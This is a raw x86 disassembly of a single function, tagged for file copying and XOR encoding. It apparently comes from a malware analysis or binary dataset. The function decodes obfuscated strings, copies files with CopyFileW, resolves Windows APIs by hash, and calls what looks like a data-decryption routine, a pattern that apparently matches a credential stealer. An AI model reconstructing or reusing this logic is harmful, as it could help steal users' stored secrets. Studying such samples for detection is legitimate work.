Function at 0x425da6
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.004251e0
add esp, 4
test al, al
je 0x425ad0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe0
mov dword [esp + 0xa0], 0x8f3c89d1
mov dword [esp + 0xa4], 0x83368d3b
mov dword [esp + 0xa8], 0x873a8121
mov dword [esp + 0xac], 0x9bca8538
mov dword [esp + 0xb0], 0x9f2a9939
mov dword [esp + 0xb4], 0x93929d24
mov byte [esp + 0xb8], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
and esi, 4
mov edx, ecx
xor edx, 0xa2
add edx, esi
xor dl, byte [esp + ecx + 0xa0]
add dl, 0xd6
mov byte [esp + ecx + 0xa0], dl
inc ecx
add eax, 2
cmp ecx, 0x19
jne 0x425b30
mov dword [esp + 0x18], 0x19c41bb8
mov dword [esp + 0x1c], 0xe52fe7d3
mov dword [esp + 0x20], 0xe13fe333
mov dword [esp + 0x24], 0xed30ef3c
mov dword [esp + 0x28], 0xe94eeb4b
mov dword [esp + 0x2c], 0xf539f73b
mov dword [esp + 0x30], 0xf13af339
mov dword [esp + 0x34], 0xfd2cff27
mov dword [esp + 0x38], 0xf95efb37
mov dword [esp + 0x3c], 0xc517c725
mov dword [esp + 0x40], 0xc11ec30e
mov dword [esp + 0x44], 0xcd01cf19
mov dword [esp + 0x48], 0xc901cb12
mov dword [esp + 0x4c], 0xd50cd76c
mov dword [esp + 0x50], 0xd166d37b
mov dword [esp + 0x54], 0xdd75df6a
mov dword [esp + 0x58], 0xd907db78
mov dword [esp + 0x5c], 0xa50da764
mov dword [esp + 0x60], 0xa111a30b
mov word [esp + 0x64], 0xafa0
mov byte [esp + 0x68], 0
mov word [esp + 0x66], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x7b
xor cl, byte [esp + eax + 0x18]
add cl, 0x99
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 0x51
jne case.default.0x425c44
lea eax, [esp + 0xa0]
lea edi, [esp + 0x18]
push eax
push edi
call fcn.004369c0
add esp, 8
mov esi, eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x446980]
mov eax, esi
nop
nop
nop
mov ecx, eax
add eax, 2
cmp word [ecx], 0
jne 0x425c50
mov edx, ecx
not edx
and edx, esi
mov eax, esi
not eax
and eax, ecx
sub eax, edx
cmp eax, 0xffffffd9
jge 0x425c7c
mov eax, 0xffffffff
jmp 0x425c7f
xor ebx, ebx
jmp 0x426b81
add eax, 0x26
push eax
call fcn.0040c9f0
add esp, 4
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], 0x298f2b78
mov dword [esp + 0x1c], 0x2d9c2f99
mov dword [esp + 0x20], 0x319d3386
mov dword [esp + 0x24], 0x356a3799
mov dword [esp + 0x28], 0x398b3b91
mov dword [esp + 0x2c], 0x3d943f8a
mov dword [esp + 0x30], 0x1ab0393
mov dword [esp + 0x34], 0x5bc0772
mov dword [esp + 0x38], 0x9a00ba0
mov word [esp + 0x3c], 0xf08
mov dword [esp + 0x3e], 0
mov word [esp + 0x42], 0
mov eax, 0xdd45ea07
nop
movzx ecx, byte [esp + eax + 0x22ba1611]
xor ecx, eax
lea edx, [ecx - 0x525d9224]
mov ebx, ecx
and ebx, 1
mov ebp, edx
and ebp, 0xfe
xor edx, 1
add ecx, ebx
add ecx, 0xada26ddc
add ecx, edx
sub ecx, ebp
mov byte [esp + eax + 0x22ba1611], cl
inc eax
cmp eax, 0xdd45ea33
jne 0x425cf0
movzx ecx, word [esi]
mov ebp, dword [esp + 0x10]
mov eax, ebp
test cx, cx
je 0x425d51
mov edx, esi
add edx, 2
mov eax, ebp
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425d40
mov word [eax], 0
movzx ecx, word [esp + 0x18]
test cx, cx
lea ebx, [esp + 0xa0]
je 0x425d81
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425d70
mov word [eax], 0
jmp dword [0x446988]
push esi
call fcn.0040ca00
add esp, 4
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x446990]
xor eax, eax
cmp word [ebp], 0x2a
sete al
jmp dword [eax*4 + 0x446990]
mov dword [esp + 0x18], 0xe9d4eb21
mov dword [esp + 0x1c], 0xed0bef34
mov dword [esp + 0x20], 0xf100f31d
mov dword [esp + 0x24], 0xf519f71a
mov dword [esp + 0x28], 0xf926fb1d
mov dword [esp + 0x2c], 0xfd0fff1d
mov dword [esp + 0x30], 0x8168830e
mov dword [esp + 0x34], 0x856f876f
mov dword [esp + 0x38], 0x89708bb6
mov dword [esp + 0x3c], 0x8d648f6c
mov word [esp + 0x40], 0x938c
mov dword [esp + 0x42], 0
mov word [esp + 0x46], 0
xor eax, eax
nop
mov ecx, eax
add cl, 0xa7
xor cl, byte [esp + eax + 0x18]
add cl, 0xbd
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 0x30
jne case.default.0x425e58
push 0
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push ebx
push ebp
call fcn.0043ec60
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446998]
xor ebp, ebp
xor esi, esi
jmp dword [0x4469f8]
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0xa8]
call fcn.0043efe0
add esp, 0xc
not eax
shr eax, 0x1f
xor edx, edx
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x4469a0]
jmp dword [0x4469a8]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x446a50]
mov edx, dword [esi]
cmp dword [esi + 0x18], 3
mov ebx, 0
jne case.default.0x425f65
mov ebx, dword [esi + 0x10]
test edx, edx
setne al
test ebx, ebx
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446a58]
mov dword [esp + 0x94], edx
mov dword [esp + 0x98], esi
mov edx, ebx
nop
nop
nop
nop
mov ecx, ebx
inc ebx
cmp byte [ecx], 0
jne case.default.0x425fbd
mov dword [esp + 0x14], edi
mov dword [esp + 0xc], ebp
mov ebp, edx
sub ecx, edx
inc ecx
shr ecx, 1
mov dword [esp + 0x6c], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c9f0
add esp, 4
mov esi, eax
mov eax, dword [case.0x42600e.102]
movsx edx, byte [ebp]
xor ebx, ebx
test edx, edx
setne bl
mov dword [esp + 0x70], esi
jmp dword [ebx*4 + 0x446a60]
inc ebp
mov byte [esi], bl
inc esi
movsx edx, byte [ebp]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x446a60]
lea ebx, [edx - 0x30]
cmp ebx, 0xa
jb 0x425ff3
mov ebx, 0xffffffff
or edx, 0x20
lea edi, [edx - 0x61]
cmp edi, 6
jae case.default.0x42600e
add edx, 0xffffffa9
mov ebx, edx
movsx edx, byte [ebp + 1]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x446a68]
jmp eax
mov ecx, ebp
lea edi, [edx - 0x30]
cmp edi, 0xa
jb 0x426031
mov edi, 0xffffffff
or edx, 0x20
lea ebp, [edx - 0x61]
cmp ebp, 6
jae case.default.0x426059
add edx, 0xffffffa9
mov edi, edx
mov ebp, ecx
shl ebx, 4
or ebx, edi
add ebp, 2
mov byte [esi], bl
inc esi
movsx edx, byte [ebp]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x446a60]
mov byte [esi], 0
xor esi, esi
push 0
push 0x10
push 0
push dword [esp + 0xa0]
call fcn.00428cc0
add esp, 0x10
xor ecx, ecx
mov ebp, dword [esp + 8]
cmp ebp, dword [esp + 0xc]
setne cl
jmp dword [ecx*4 + 0x446a80]
mov esi, dword [ebp]
xor ecx, ecx
jmp dword [ecx*4 + 0x446a90]
add ebp, 8
xor ebx, ebx
cmp ebp, dword [esp + 0xc]
setne bl
jmp dword [ebx*4 + 0x446a80]
mov edi, dword [ebp + 4]
mov ebx, edi
shr ebx, 0x1c
shl edi, 4
or edi, 1
xor ebx, edx
xor edi, eax
xor ecx, ecx
or edi, ebx
sete cl
jmp dword [ecx*4 + 0x446a88]
mov ecx, 1
jmp dword [ecx*4 + 0x446a90]
xor eax, eax
test esi, esi
setne al
mov ebp, dword [esp + 0xc]
mov edi, dword [esp + 0x14]
mov ebx, dword [esp]
jmp dword [eax*4 + 0x446a98]
jmp dword [0x446aa0]
movzx eax, byte [esi]
test al, al
je 0x42611b
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [esi]
inc esi
test al, al
jne 0x426110
mov word [edi], 0x203a
add edi, 2
mov edx, dword [esp + 0x7c]
test edx, edx
je 0x42615b
mov eax, dword [esp + 0x80]
mov ecx, edx
and ecx, 3
je 0x42615f
xor esi, esi
nop
nop
nop
nop
nop
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edi + esi], bl
inc esi
cmp ecx, esi
jne 0x426140
add edi, esi
mov ecx, edx
sub ecx, esi
mov esi, edi
jmp 0x426161
mov esi, edi
jmp 0x4261a9
mov ecx, edx
cmp edx, 4
jb 0x4261a9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 1], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 2], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
lea esi, [edi + 4]
mov byte [edi + 3], dl
mov edi, esi
add ecx, 0xfffffffc
jne 0x426170
mov byte [esi], 0xa
inc esi
push 0xbe5098bb
push dword [0x44ac2c]
call fcn.0043e240
add esp, 8
push dword [esp + 0x80]
call eax
mov bl, 1
mov eax, dword [case.0x425c44.69]
mov edi, esi
jmp case.0x425c44.77
mov dword [esp], ebx
mov esi, dword [esp + 0x98]
jmp dword [0x446ac8]
mov eax, dword [case.0x425c44.69]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x446ab0]
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x1c], eax
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne 0x426240
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
push 0x14e20a34
push dword [0x44ac44]
call fcn.0043e240
add esp, 8
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x74]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x30]
push ecx
call eax
jmp dword [0x446aac]
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x1c], eax
mov eax, 0xffffffff
nop
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne 0x4262b0
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
push 0x14e20a34
push dword [0x44ac44]
call fcn.0043e240
add esp, 8
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x74]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x30]
push ecx
call eax
jmp case.0x425c44.71
mov esi, dword [esp + 0x74]
mov ebx, dword [esp + 0x6c]
mov byte [ebx + esi], 0
push 0x20
call fcn.0040c9f0
add esp, 4
mov ebp, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push ebx
call fcn.004288c0
movzx eax, al
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x4469c0]
jmp dword [0x4469cc]
mov dword [esp + 0x18], 0x77447e53
mov dword [esp + 0x1c], 0x42744473
mov dword [esp + 0x20], 0x477b6f87
mov dword [esp + 0x24], 0x6c81784a
mov dword [esp + 0x28], 0x4e737444
mov dword [esp + 0x2c], 0x4949968b
mov dword [esp + 0x30], 0x5f696c56
mov dword [esp + 0x34], 0x576d6c8f
mov word [esp + 0x38], 0xc165
mov dword [esp + 0x3a], 0
mov eax, 0x58
mov ecx, 0x4dabd3a7
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x40]
mov edi, eax
and edi, esi
lea ebx, [ecx - 0x4dabd300]
and ebx, esi
mov edx, ecx
xor edx, esi
sub edx, esi
add edx, ebx
or edx, edi
mov ebx, edx
not ebx
and edx, 0xb9
and ebx, 0x46
sub ebx, edx
inc bl
mov byte [esp + eax - 0x40], bl
inc eax
dec ecx
cmp eax, 0x7e
jne 0x426400
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
call fcn.00428ab0
jmp dword [0x446a44]
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
mov edx, dword [esp + 4]
mov edi, edx
jmp dword [ecx*4 + 0x446a48]
add eax, 8
mov dword [esp], 0
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov edi, edx
jmp dword [eax*4 + 0x446a50]
mov ecx, ebp
call fcn.00428c20
push ebp
call fcn.0040ca00
add esp, 4
xor edx, edx
jmp dword [0x4469f0]
xor edx, edx
jmp dword [0x446b08]
mov ecx, dword [esp + 0x14]
mov dword [esi + ecx + 4], eax
mov ebx, dword [esp + 0xc]
add ebx, 8
mov ecx, dword [esp + 0x70]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
mov ebp, dword [esp + 0x84]
mov edx, dword [esp]
jmp dword [eax*4 + 0x4469e0]
mov dword [esp + 0x70], ecx
mov eax, dword [ecx]
mov dword [esp + 4], eax
mov eax, ebx
sub eax, edi
cmp ebx, edx
mov ecx, eax
mov dword [esp + 0x14], eax
je 0x426510
mov esi, edi
mov edi, eax
jmp 0x426586
sar eax, 3
inc eax
mov dword [esp], edx
mov ecx, edx
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x42652a
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.0040c9f0
add esp, 4
mov esi, eax
test edi, edi
je 0x42657b
mov edx, dword [esp]
cmp edi, edx
je 0x426572
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x426550
push edi
call fcn.0040ca00
add esp, 4
lea edx, [esi + ebx*8]
mov ebx, esi
mov edi, dword [esp + 0x14]
add ebx, edi
mov dword [esp], edx
mov dword [esp + 0xc], ebx
mov dword [esi + edi], 0
mov dword [esi + edi + 4], 0
xor ebx, ebx
mov ebp, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + ebx], 0
lea ebx, [ebx + 1]
jne 0x4265b0
push ebx
call fcn.0040c9f0
add esp, 4
mov dword [esi + edi], eax
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebp, edx
mov edi, eax
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
mov ecx, ebx
inc cl
test cl, 1
jne 0x426610
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor eax, eax
cmp ebx, 1
je 0x4264c0
mov dword [esp + 8], esi
mov eax, 0xffffffff
mov ecx, 1
nop
nop
mov edx, dword [esp + 4]
movzx edx, byte [edx + ecx - 1]
mov edi, eax
and edi, edx
add eax, edx
add edi, edi
mov edx, eax
sub edx, edi
mov edi, edx
shr edi, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, edi
mov ebp, eax
shr ebp, 1
mov edi, edx
shl edi, 0x1e
sar edi, 0x1f
and edi, 0xedb88320
xor edi, ebp
mov esi, edx
shl esi, 0x1d
sar esi, 0x1f
and esi, 0x76dc419
mov ebp, edx
shl ebp, 0x1c
sar ebp, 0x1f
and ebp, 0xedb8832
xor ebp, esi
mov esi, edx
shl esi, 0x1b
sar esi, 0x1f
and esi, 0x1db71064
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x3b6e20c8
xor edx, esi
xor edx, ebp
mov esi, edi
shr esi, 6
xor edx, esi
shl eax, 0x1a
sar eax, 0x1f
and eax, 0x76dc4190
mov esi, eax
xor esi, edx
shl edi, 0x1a
sar edi, 0x1f
and edi, 0xedb88320
mov eax, edi
xor eax, esi
inc ecx
cmp ebx, ecx
jne 0x426620
not eax
mov esi, dword [esp + 8]
jmp 0x4264c0
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebx, ebx
xor edx, edx
xor esi, esi
mov dword [esp + 0x84], ebp
jmp dword [eax*4 + 0x4469e0]
mov eax, ebp
mov dword [esp + 8], esi
sub eax, esi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.0040c9f0
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x18], 0x69266b4f
mov dword [esp + 0x1c], 0x6d0b6f19
mov dword [esp + 0x20], 0x711e730b
mov dword [esp + 0x24], 0x75067737
mov dword [esp + 0x28], 0x793e7b04
mov dword [esp + 0x2c], 0x7d0a7f1f
mov dword [esp + 0x30], 0x81a9831b
mov dword [esp + 0x34], 0x85d387dc
mov dword [esp + 0x38], 0x89e18bf0
mov dword [esp + 0x3c], 0x8dfd8fef
mov dword [esp + 0x40], 0x91fe93d0
mov dword [esp + 0x44], 0x95f397e1
mov dword [esp + 0x48], 0x99f69bf3
mov dword [esp + 0x4c], 0x9de49faa
mov dword [esp + 0x50], 0xa1c8a3f8
lea eax, [esp + 0x54]
mov word [esp + 0x54], 0xa7a0
mov dword [esp + 0x56], 0
xor ecx, ecx
nop
nop
nop
nop
mov esi, ecx
xor esi, 0x98
mov edx, ecx
or edx, 0x67
and edx, esi
mov esi, ecx
and esi, 0x18
xor esi, 0x99
sub edx, esi
xor dl, byte [esp + ecx + 0x18]
add dl, 0xfd
mov byte [esp + ecx + 0x18], dl
inc ecx
cmp ecx, 0x42
jne 0x4267a0
lea edx, [esp + 0x18]
mov ecx, 0xf
mov edi, ebx
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x9c]
push esi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44ac34]
mov edi, dword [esp + 0x9c]
test edi, edi
jns 0x426818
mov eax, 0xffffffff
jmp 0x42681b
lea eax, [edi + edi]
push eax
call fcn.0040c9f0
add esp, 4
mov ebx, eax
push esi
push edi
push eax
push 0x1e
lea eax, [esp + 0xb0]
push eax
push 0
call dword [0x44ac34]
lea eax, [esp + 0x88]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x94], ebx
push ebx
call fcn.0043ec60
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446a18]
xor ebx, ebx
mov edi, dword [esp + 4]
mov esi, dword [esp + 8]
jmp dword [0x446b10]
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0x90]
call fcn.0043efe0
add esp, 0xc
not eax
shr eax, 0x1f
xor edx, edx
xor ebx, ebx
mov edi, dword [esp + 4]
jmp dword [eax*4 + 0x446a20]
mov dword [esp], ebx
mov dword [esp + 0x14], edi
mov dword [esp + 0xc], ebp
mov eax, dword [esp + 0x88]
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], 0xe0e7e6e5
mov byte [esp + 0x1c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x18]
mov edi, edx
and edi, 2
mov eax, edx
mov edx, ecx
xor edx, 0x5a39aa29
add edx, edi
mov edi, edx
and edi, esi
mov ebp, edi
and ebp, 0x3d
mov ebx, edi
or ebx, 0xfd
inc ebx
imul ebx, ebp
mov ebp, edi
and ebp, 2
or edi, 2
imul edi, ebp
sub ebx, edi
add edx, esi
add edx, ebx
add dl, 0x33
mov byte [esp + ecx + 0x18], dl
mov edx, eax
inc ecx
add edx, 2
cmp ecx, 5
jne 0x4268f0
mov ecx, dword [0x44ac38]
test ecx, ecx
mov ebp, dword [esp + 0xc]
mov ebx, dword [esp]
je 0x426a43
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x44ac3c]
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x426a3b
inc esi
cmp ecx, esi
jne 0x426960
jmp 0x426a43
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.0040c9f0
add esp, 4
push 0
push esi
mov esi, dword [esp + 0xc]
mov dword [esp + 0x94], eax
push eax
push dword [esp + 0x94]
call fcn.0043f0e0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
mov edi, esi
jmp dword [eax*4 + 0x446a28]
mov ebx, esi
mov esi, dword [esp + 0x90]
mov edi, dword [esp + 0x8c]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c9f0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x10], eax
mov ecx, eax
push esi
push edi
call fcn.004288c0
movzx eax, al
mov dword [esp], 0
mov edi, ebx
jmp dword [eax*4 + 0x446a30]
mov eax, dword [0x446adc]
mov esi, dword [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x426a65
mov esi, dword [esp + 8]
mov edi, dword [esp + 0x14]
jmp dword [0x446b10]
push dword [esp + 0x10]
push 1
push ecx
push dword [0x44ac40]
call fcn.0043b650
add esp, 0x10
mov esi, dword [esp + 8]
mov edi, dword [esp + 0x14]
jmp dword [0x446b10]
jmp dword [0x446a38]
mov dword [esp + 0x18], 0x77447e53
mov dword [esp + 0x1c], 0x42744473
mov dword [esp + 0x20], 0x477b6f87
mov dword [esp + 0x24], 0x6c81784a
mov dword [esp + 0x28], 0x4e737444
mov dword [esp + 0x2c], 0x4949968b
mov dword [esp + 0x30], 0x5f696c56
mov dword [esp + 0x34], 0x576d6c8f
mov word [esp + 0x38], 0xc165
mov dword [esp + 0x3a], 0
mov eax, 0x58
mov ecx, 0x4dabd3a7
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x40]
mov edi, eax
and edi, esi
lea ebx, [ecx - 0x4dabd300]
and ebx, esi
mov edx, ecx
xor edx, esi
sub edx, esi
add edx, ebx
or edx, edi
mov ebx, edx
not ebx
and edx, 0xb9
and ebx, 0x46
sub ebx, edx
inc bl
mov byte [esp + eax - 0x40], bl
inc eax
dec ecx
cmp eax, 0x7e
jne 0x426af0
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
call fcn.00428ab0
jmp case.0x425e58.39
xor eax, eax
cmp esi, ebp
sete al
jmp dword [eax*4 + 0x446a10]
xor ebx, ebx
test esi, esi
je 0x426b81
cmp esi, ebp
je 0x426b81
mov edi, esi
jmp 0x426b67
add esi, 8
cmp esi, ebp
je 0x426b78
mov eax, dword [esi]
test eax, eax
je 0x426b60
push eax
call fcn.0040ca00
add esp, 4
jmp 0x426b60
push edi
call fcn.0040ca00
add esp, 4
mov eax, ebx
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
xor esi, esi
jmp dword [ecx*4 + 0x4469d8]
jmp dword [0x4469e8]
mov dword [esp + 0x18], 0xebf4eacf
mov dword [esp + 0x1c], 0xc6d4fce7
mov dword [esp + 0x20], 0xcbc7fb93
mov dword [esp + 0x24], 0xfc99c0de
mov dword [esp + 0x28], 0xc2cfccdc
mov dword [esp + 0x2c], 0xd4d5ec9f
mov dword [esp + 0x30], 0xc3c4c4c3
mov word [esp + 0x34], 0xb5c3
mov dword [esp + 0x36], 0
xor eax, eax
nop
movzx ecx, byte [esp + eax + 0x18]
mov edx, eax
and edx, 0x18
mov esi, eax
and esi, 2
mov ebx, esi
xor ebx, 2
imul ebx, edx
or edx, 2
imul edx, esi
mov esi, eax
xor esi, 0xef5931a
add esi, ebx
add esi, edx
mov edx, esi
and edx, ecx
add edx, edx
sub edx, esi
mov esi, ecx
not esi
and esi, edx
not edx
and edx, ecx
sub edx, esi
add dl, 0x7e
mov byte [esp + eax + 0x18], dl
inc eax
cmp eax, 0x22
jne 0x426bf0
mov ecx, ebp
push edi
call fcn.00428ab0
mov dword [esp + 0x18], 0xebf4eacf
mov dword [esp + 0x1c], 0xc6d4fce7
mov dword [esp + 0x20], 0xcbc7fb93
mov dword [esp + 0x24], 0xfc99c0de
mov dword [esp + 0x28], 0xc2cfccdc
mov dword [esp + 0x2c], 0xd4d5ec9f
mov dword [esp + 0x30], 0xc3c4c4c3
mov word [esp + 0x34], 0xb5c3
mov dword [esp + 0x36], 0
xor eax, eax
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x18]
mov edx, eax
and edx, 0x18
mov esi, eax
and esi, 2
mov ebx, esi
xor ebx, 2
imul ebx, edx
or edx, 2
imul edx, esi
mov esi, eax
xor esi, 0xef5931a
add esi, ebx
add esi, edx
mov edx, esi
and edx, ecx
add edx, edx
sub edx, esi
mov esi, ecx
not esi
and esi, edx
not edx
and edx, ecx
sub edx, esi
add dl, 0x7e
mov byte [esp + eax + 0x18], dl
inc eax
cmp eax, 0x22
jne 0x426c90
mov ecx, ebp
push edi
call fcn.00428ab0
jmp dword [0x4469d0]
mov dword [esp + 0x6c], ebx
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x4469b8]
xor edx, edx
jmp dword [0x4469f0]
push dword [esp + 0x6c]
call fcn.0040ca00
xor edx, edx
add esp, 4
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov eax, dword [esp + 0xa0]
mov dword [esp + 4], eax
mov dword [esp + 0x18], 0xe0e7e6e5
mov byte [esp + 0x1c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x18]
mov edi, edx
and edi, 2
mov eax, edx
mov edx, ecx
xor edx, 0x5a39aa29
add edx, edi
mov edi, edx
and edi, esi
mov ebp, edi
and ebp, 0x3d
mov ebx, edi
or ebx, 0xfd
inc ebx
imul ebx, ebp
mov ebp, edi
and ebp, 2
or edi, 2
imul edi, ebp
sub ebx, edi
add edx, esi
add edx, ebx
add dl, 0x33
mov byte [esp + ecx + 0x18], dl
mov edx, eax
inc ecx
add edx, 2
cmp ecx, 5
jne 0x426d40
mov ecx, dword [0x44ac38]
test ecx, ecx
mov ebp, dword [esp + 0xc]
lea ebx, [esp + 0xa0]
je 0x426dc8
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x44ac3c]
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x426dc0
inc esi
cmp ecx, esi
jne 0x426db0
jmp 0x426dc8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x426df2
mov esi, dword [esp + 8]
jmp dword [0x4469f8]
push dword [esp + 0x10]
call fcn.0040ca00
add esp, 4
mov eax, dword [case.0x425e58.24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push dword [esp + 4]
push 1
push ecx
push dword [0x44ac40]
call fcn.0043b650
add esp, 0x10
mov esi, dword [esp + 8]
jmp dword [0x4469f8]
mov esi, dword [esp + 0x74]
lea eax, [esi + 1]
push eax
call fcn.0040c9f0
add esp, 4
push 0
push esi
push eax
push dword [esp + 0xac]
call fcn.0043f0e0
add esp, 0x10
mov esi, dword [esp + 0x74]
lea eax, [esi + 1]
push eax
call fcn.0040c9f0
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0xac]
call fcn.0043f0e0
add esp, 0x10
jmp dword [0x4469b0]